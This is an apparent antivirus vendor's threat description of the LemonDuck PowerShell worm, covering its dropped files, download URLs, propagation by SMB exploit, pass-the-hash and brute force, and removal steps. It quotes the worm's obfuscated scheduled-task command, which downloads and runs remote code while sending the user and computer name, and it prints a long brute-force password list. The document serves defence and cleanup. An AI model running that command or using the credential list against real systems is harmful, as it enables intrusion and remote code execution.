Worm.PS1.LEMONDUCK.YXBC-A

Publish Date: 25 marzo 2021

Analizzato da: Mc Justine De Guzman

Piattaforma:

Windows

Valutazione del rischio complessivo:

Potenziale dannoso: :

Potenziale di distribuzione: :

Reported Infection:

Informazioni esposizione: :

Basso

Medio

Alto

Critico

Tipo di minaccia informatica:
Worm
Distruttivo?:
No
Crittografato?:
Sì
In the wild::
Sì

Panoramica e descrizione

Canale infezione: Descargado de Internet, Eliminado por otro tipo de malware

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Dettagli tecnici

Dimensione file: 277,761 bytes

Residente in memoria: No

Data di ricezione campioni iniziali: 01 marzo 2021

Carica distruttiva: Drops files

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Instalación

Infiltra los archivos siguientes:

{Removable Drive}:\Dblue3.lnk
{Removable Drive}:\Eblue3.lnk
{Removable Drive}:\Fblue3.lnk
{Removable Drive}:\Gblue3.lnk
{Removable Drive}:\Hblue3.lnk
{Removable Drive}:\Iblue3.lnk
{Removable Drive}:\Jblue3.lnk
{Removable Drive}:\Kblue3.lnk
{Removable Drive}:\blue3.bin
{Removable Drive}:\Dblue6.lnk
{Removable Drive}:\Eblue6.lnk
{Removable Drive}:\Fblue6.lnk
{Removable Drive}:\Gblue6.lnk
{Removable Drive}:\Hblue6.lnk
{Removable Drive}:\Iblue6.lnk
{Removable Drive}:\Jblue6.lnk
{Removable Drive}:\Kblue6.lnk
{Removable Drive}:\blue6.bin
{Removable Drive}:\UTFsync\inf_data -> serves as infection marker
{Removable Drive}:\readme.js
%User Temp%\mimi.dat

(Nota: %User Temp% es la carpeta Temp del usuario activo, que en el caso de Windows 2000(32-bit), XP y Server 2003(32-bit) suele estar en C:\Documents and Settings\{nombre de usuario}\Local Settings\Temp y en el case de Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) y 10(64-bit) en C:\Users\{nombre de usuario}\AppData\Local\Temp).

)

Agrega los procesos siguientes:

"%Windows%\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"%User Temp%{8 random characters}.cmdline"
%Windows%\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%User Temp%\RES{4 random numbers}.tmp" "%User Temp%\CSC{4 random numbers}.tmp"
"%System%\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
"%System%\NETSTAT.EXE" -anop TCP
"%System%ipconfig.exe" /all
"%System%ipconfig.exe" /displaydns
"%System%NETSTAT.EXE" -ano

. %System% es la carpeta del sistema de Windows, que en el caso de Windows 98 y ME suele estar en C:\Windows\System, en el caso de Windows NT y 2000 en C:\WINNT\System32 y en el caso de Windows 2000(32-bit), XP, Server 2003(32-bit), Vista, 7, 8, 8.1, 2008(64-bit), 2012(64bit) y 10(64-bit) en C:\Windows\System32).

)

Otros detalles

Según el análisis de los códigos, tiene las siguientes capacidades:

Connects to the following url to download a malicious file:
- http://t.{BLOCKED}g.com/logic.jsp?0.9
- http://t.{BLOCKED}g.com/logico.jsp?0.9
- http://t.{BLOCKED}g.com/ipc.jsp?0.9
- http://t.{BLOCKED}g.com/ipco.jsp?0.9
- http://t.{BLOCKED}g.com/ipc.jsp?l_0.9
- http://t.{BLOCKED}g.com/ms.jsp?0.9
- http://t.{BLOCKED}g.com/mso.jsp?0.9
- http://t.{BLOCKED}g.com/usb.jsp?js_0.9 -> is done by {Removable Drive}:\readme.js
- http://t.{BLOCKED}g.com/ipc.jsp?bat_0.9
- http://t.{BLOCKED}g.com/rdp.jsp
- http://t.{BLOCKED}g.com/rdpo.jsp
- http://t.{BLOCKED}g.com/ln/core.png?0.9 -> for linux systems
- http://t.{BLOCKED}g.com/ln/core.png?rds -> for linux systems
- http://t.{BLOCKED}g.com/ln/core.png?rdso -> for linux systems
- http://t.{BLOCKED}g.com/smgh.jsp?0.9
- http://d.{BLOCKED}9.com/knil.bin?v={Version}&r={number from 0-2}
- http://d.{BLOCKED}9.com/mimi.dat?v={Version}&r={number from 1-3}
- http://d.{BLOCKED}9.com/mm.bin -> if %User Temp%\mimi.dat doesn't exist
Open port scanning on the following:
- SMB port
- MSSQL port
- SSH port
- Redis port
- Yarn port
- Logic port
It is capable of propagating in the local network via the following means:
- SMB Exploit
- MS-SQL Brute forcing
- Pass-The-Hash attack
- RDP Brute forcing
Perform brute force attacks using the following credentials:
- Username:
  - admin
  - administrator
- Password:
  - saadmin
  - 123456
  - test1
  - zinch
  - g_czechout
  - asdf
  - Aa123456.
  - dubsmash
  - password
  - PASSWORD
  - .com
  - admin@123
  - Aa123456
  - qwer12345
  - Huawei@123
  - 123@abc
  - golden
  - 123!@#qwe
  - 1qaz@WSX
  - Ab123
  - 1qaz!QAZ
  - Admin123
  - Administrator
  - Abc123
  - Admin@123
  - 999999
  - Passw0rd
  - 123qwe!@#
  - football
  - welcome
  - 1
  - 12
  - 21
  - 123
  - 321
  - 1234
  - 12345
  - 123123
  - 123321
  - 111111
  - 654321
  - 666666
  - 121212
  - 000000
  - 222222
  - 888888
  - 1111
  - 555555
  - 1234567
  - 12345678
  - 123456789
  - 987654321
  - admin
  - abc123
  - abcd1234
  - abcd@1234
  - abc@123
  - p@ssword
  - P@ssword
  - p@ssw0rd
  - P@ssw0rd
  - P@SSWORD
  - P@SSW0RD
  - P@w0rd
  - P@word
  - iloveyou
  - monkey
  - login
  - passw0rd
  - master
  - hello
  - qazwsx
  - password1
  - Password1
  - qwerty
  - baseball
  - qwertyuiop
  - superman
  - 1qaz2wsx
  - fuckyou
  - 123qwe
  - zxcvbn
  - pass
  - aaaaaa
  - love
  - administrator
  - qwe1234A
  - qwe1234a
  - 123123123
  - 1234567890
  - 88888888
  - 111111111
  - 112233
  - a123456
  - 123456a
  - 5201314
  - 1q2w3e4r
  - qwe123
  - a123456789
  - 123456789a
  - dragon
  - sunshine
  - princess
  - !@#$%^&*
  - charlie
  - aa123456
  - homelesspa
  - 1q2w3e4r5t
  - sa
  - sasa
  - sa123
  - sql2005
  - sa2008
  - abc
  - abcdefg
  - sapassword
  - cV3TAa12345678
  - ABCabc123
  - sqlpassword
  - sql2008
  - 11223344
  - admin888
  - qwe1234
  - A123456
  - OPERADOR
  - Password123
  - test123
  - NULL
  - user
  - test
  - Password01
  - stagiaire
  - demo
  - scan
  - P@ssw0rd123
  - xerox
  - compta
It is capable of propagating in the local network via the following means:
- SMB Exploit
- MS-SQL Brute forcing
- Pass-The-Hash attack
- RDP Brute forcing

Soluzioni

Motore di scansione minimo: 9.800

Primo file di pattern VSAPI: 16.598.03

Data di pubblicazione del primo pattern VSAPI: 16 marzo 2021

Versione pattern VSAPI OPR: 16.599.00

Data di pubblicazione del pattern VSAPI OPR: 17 marzo 2021

Step 1

Los usuarios de Windows ME y XP, antes de llevar a cabo cualquier exploración, deben comprobar que tienen desactivada la opción Restaurar sistema para permitir la exploración completa del equipo.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Deleting Scheduled Tasks

The following {Task Name} - {Task to be run} listed should be used in the steps identified below:

Rtsa - 'powershell -c '\\\"t.{BLOCKED}g.com\\\",\\\"t.{BLOCKED}0.com\\\",\\\"t.{BLOCKED}9.com\\\"|foreach{I`EX(Ne`w-Obj`ect Net.WebC`lient).\\\"DownloadString\\\"(\\\"http://$_/{eb or ebo}.jsp?0.9*$env:username*$env:computername\\\")}'

For Windows 2000, Windows XP, and Windows Server 2003:

Open the Windows Scheduled Tasks. Click Start>Programs>Accessories>
System Tools>Scheduled Tasks.
Locate each {Task Name} values listed above in the Name column.
Right-click on the said file(s) with the aforementioned value.
Click on Properties. In the Run field, check for the listed {Task to be run}.
If the strings match the list above, delete the task.

For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:

Open the Windows Task Scheduler. To do this:
• On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
• On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter.
In the left panel, click Task Scheduler Library.
In the upper-middle panel, locate each {Task Name} values listed above in the Name column.
In the lower-middle panel, click the Actions tab. In the Details column, check for the {Task to be run} string.
If the said string is found, delete the task.

Step 4

Buscar y eliminar este archivo

[ learnMore ]

Puede que algunos de los archivos del componente estén ocultos. Asegúrese de que tiene activada la casilla Buscar archivos y carpetas ocultos en la opción Más opciones avanzadas para que el resultado de la búsqueda incluya todos los archivos y carpetas ocultos.

{Removable Drive}:\Dblue3.lnk
{Removable Drive}:\Eblue3.lnk
{Removable Drive}:\Fblue3.lnk
{Removable Drive}:\Gblue3.lnk
{Removable Drive}:\Hblue3.lnk
{Removable Drive}:\Iblue3.lnk
{Removable Drive}:\Jblue3.lnk
{Removable Drive}:\Kblue3.lnk
{Removable Drive}:\blue3.bin
{Removable Drive}:\Dblue6.lnk
{Removable Drive}:\Eblue6.lnk
{Removable Drive}:\Fblue6.lnk
{Removable Drive}:\Gblue6.lnk
{Removable Drive}:\Hblue6.lnk
{Removable Drive}:\Iblue6.lnk
{Removable Drive}:\Jblue6.lnk
{Removable Drive}:\Kblue6.lnk
{Removable Drive}:\blue6.bin
{Removable Drive}:\UTFsync\inf_data
{Removable Drive}:\readme.js
%User Temp%\mimi.dat

Step 5

Explorar el equipo con su producto de Trend Micro para eliminar los archivos detectados como Worm.PS1.LEMONDUCK.YXBC-A En caso de que el producto de Trend Micro ya haya limpiado, eliminado o puesto en cuarentena los archivos detectados, no serán necesarios más pasos. Puede optar simplemente por eliminar los archivos en cuarentena. Consulte esta página de Base de conocimientos para obtener más información.

Sondaggio

Worm.PS1.LEMONDUCK.YXBC-A

Panoramica e descrizione

Dettagli tecnici

Soluzioni

Risorse

Assistenza

Informazioni su Trend

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